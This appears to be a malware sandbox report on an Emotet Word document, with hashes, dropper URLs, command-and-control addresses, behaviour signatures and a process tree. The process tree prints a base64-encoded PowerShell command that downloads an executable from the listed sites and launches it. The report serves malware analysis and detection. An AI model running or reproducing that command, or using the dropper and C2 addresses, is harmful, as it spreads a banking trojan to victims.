emotet | 919a80b6e13ad304ca8f48f033d7b69939593d9bb35336e7934306593b8f6c40

General

Target

SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979.doc
Size

175KB
MD5

9303da63c03de4b45d64d545c4898582
SHA1

4e45c2b76cdbb4852610fc74a5e0d65c4ce66b3c
SHA256

919a80b6e13ad304ca8f48f033d7b69939593d9bb35336e7934306593b8f6c40
SHA512

3787c91ed25130e35551cbc66a79b2fb5fb88469ba9cf4fab9a3fc17ecdd3729ebfb47310fb6005d0f74aa43773c066601ae2ed19ac07dd2d36f6a0967709ffe

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.librero.xyz/Scripts/3y_m0cbe_lpgoj7z/

exe.dropper

https://scoenuganda.org/wp-admin/k_fhsvc_wni2zxzrc/

exe.dropper

https://www.dunnriteplumbing.ca/wp-admin/12x_jaaq_o3/

exe.dropper

http://www.najcosmetics.com/img/hvglv_hay_35sacodg/

exe.dropper

http://www.oxahaus.com/wp-admin/d8teb_n0v0h_dm0uyok/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 1772 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powersheLL.exebitsadmin.exe

pid process

1772 powersheLL.exe
1772 powersheLL.exe
1940 bitsadmin.exe
1940 bitsadmin.exe
Blacklisted process makes network request 3 IoCs

Processes:

powersheLL.exe

flow pid process

5 1772 powersheLL.exe
7 1772 powersheLL.exe
9 1772 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

463.exebitsadmin.exe

pid process

1820 463.exe
1940 bitsadmin.exe

description	pid	process
Token: SeDebugPrivilege	1772	powersheLL.exe

pid	process
1772	powersheLL.exe
1772	powersheLL.exe
1940	bitsadmin.exe
1940	bitsadmin.exe

flow	pid	process
5	1772	powersheLL.exe
7	1772	powersheLL.exe
9	1772	powersheLL.exe

pid	process
1820	463.exe
1940	bitsadmin.exe

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{30CDB79E-AA7C-4570-8805-BB4EB5B5A7ED}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLTextArea"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{30CDB79E-AA7C-4570-8805-BB4EB5B5A7ED}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{30CDB79E-AA7C-4570-8805-BB4EB5B5A7ED}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\TypeLib\{30CDB79E-AA7C-4570-8805-BB4EB5B5A7ED}\2.0\FLAGS	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents"	WINWORD.EXE

Drops file in System32 directory 2 IoCs

Processes:

powersheLL.exe463.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powersheLL.exe
File opened for modification	C:\Windows\SysWOW64\Dism\bitsadmin.exe	463.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

652 WINWORD.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

WINWORD.EXE463.exebitsadmin.exe

pid process

652 WINWORD.EXE
652 WINWORD.EXE
1820 463.exe
1940 bitsadmin.exe

pid	process
652	WINWORD.EXE

pid	process
652	WINWORD.EXE
652	WINWORD.EXE
1820	463.exe
1940	bitsadmin.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1772	1700	powersheLL.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

463.exe

description	pid	process	target process
PID 1820 wrote to memory of 1940	1820	463.exe	bitsadmin.exe
PID 1820 wrote to memory of 1940	1820	463.exe	bitsadmin.exe
PID 1820 wrote to memory of 1940	1820	463.exe	bitsadmin.exe
PID 1820 wrote to memory of 1940	1820	463.exe	bitsadmin.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral1/memory/1820-11-0x0000000000230000-0x000000000023C000-memory.dmp	emotet
behavioral1/memory/1820-11-0x0000000000230000-0x000000000023C000-memory.dmp	emotet
behavioral1/memory/1940-15-0x00000000001C0000-0x00000000001CC000-memory.dmp	emotet
behavioral1/memory/1940-15-0x00000000001C0000-0x00000000001CC000-memory.dmp	emotet

Office loads VBA resources, possible macro or embedded object present
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979.doc"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:652

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAFcAVQBIAE8AYQBxAHQAPQAnAFoAVwBSAEcAVwBiAHQAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAaQB0AGAAeQBgAFAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBJAFIAUwBCAHEAeQBnACAAPQAgACcANAA2ADMAJwA7ACQARgBKAEkATgBFAGoAaQBkAD0AJwBUAEYARwBEAEIAbAB2AGMAJwA7ACQASgBCAFIAVQBGAGUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEkAUgBTAEIAcQB5AGcAKwAnAC4AZQB4AGUAJwA7ACQAQwBNAFEARABMAG0AcwBzAD0AJwBWAE0AUABaAEMAZQBjAGIAJwA7ACQAWgBaAFYASgBBAHYAagBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUATgBUADsAJABaAE8ATgBGAFQAcgBqAGwAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGkAYgByAGUAcgBvAC4AeAB5AHoALwBTAGMAcgBpAHAAdABzAC8AMwB5AF8AbQAwAGMAYgBlAF8AbABwAGcAbwBqADcAegAvACoAaAB0AHQAcABzADoALwAvAHMAYwBvAGUAbgB1AGcAYQBuAGQAYQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBfAGYAaABzAHYAYwBfAHcAbgBpADIAegB4AHoAcgBjAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHUAbgBuAHIAaQB0AGUAcABsAHUAbQBiAGkAbgBnAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQAyAHgAXwBqAGEAYQBxAF8AbwAzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbgBhAGoAYwBvAHMAbQBlAHQAaQBjAHMALgBjAG8AbQAvAGkAbQBnAC8AaAB2AGcAbAB2AF8AaABhAHkAXwAzADUAcwBhAGMAbwBkAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBvAHgAYQBoAGEAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkADgAdABlAGIAXwBuADAAdgAwAGgAXwBkAG0AMAB1AHkAbwBrAC8AJwAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABKAEkAUABYAEcAeAB2AGEAPQAnAFMAVABQAFYAQQB6AGwAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBIAFgAQwBIAHAAbgB5ACAAaQBuACAAJABaAE8ATgBGAFQAcgBqAGwAKQB7AHQAcgB5AHsAJABaAFoAVgBKAEEAdgBqAG4ALgAiAGQAbwBgAHcATgBMAGAATwBBAEQARgBpAGAAbABlACIAKAAkAE0ASABYAEMASABwAG4AeQAsACAAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARwBCAFgAVgBVAG0AdABtAD0AJwBGAFUARABDAEIAYQBxAG0AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABKAEIAUgBVAEYAZQBzAG8AKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADQAOAA1ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAHQAZQAiACgAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARgBGAFQASQBMAGEAYQB5AD0AJwBaAEwAUQBPAEYAZgB2AHoAJwA7AGIAcgBlAGEAawA7ACQATgBPAEMARABVAGcAcABnAD0AJwBRAFIAUABGAE8AZwBzAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBTAE0AVgBVAG4AdABtAD0AJwBQAEcAWABXAEYAYQBzAHoAJwA=
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Drops file in System32 directory
- Process spawned unexpected child process
PID:1772

C:\Users\Admin\463.exe
C:\Users\Admin\463.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\SysWOW64\Dism\bitsadmin.exe
"C:\Windows\SysWOW64\Dism\bitsadmin.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1940

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\463.exe

Download Submit
C:\Users\Admin\463.exe

Download Submit
C:\Windows\SysWOW64\Dism\bitsadmin.exe

Download Submit
memory/652-7-0x0000000006D20000-0x0000000006F20000-memory.dmp

Filesize
2.0MB

Download
memory/652-5-0x000000000AD60000-0x000000000AD64000-memory.dmp

Filesize
16KB

Download
memory/652-6-0x000000000BDE0000-0x000000000BDE4000-memory.dmp

Filesize
16KB

Download
memory/652-0-0x0000000000158000-0x000000000015C000-memory.dmp

Filesize
16KB

Download
memory/652-9-0x0000000002100000-0x0000000002101000-memory.dmp

Filesize
4KB

Download
memory/652-4-0x0000000006D20000-0x0000000006F20000-memory.dmp

Filesize
2.0MB

Download
memory/652-3-0x0000000006D20000-0x0000000006F20000-memory.dmp

Filesize
2.0MB

Download
memory/652-2-0x00000000087F0000-0x00000000087F4000-memory.dmp

Filesize
16KB

Download
memory/1820-11-0x0000000000230000-0x000000000023C000-memory.dmp

Filesize
48KB

Download
memory/1940-13-0x0000000000000000-mapping.dmp

Download
memory/1940-15-0x00000000001C0000-0x00000000001CC000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads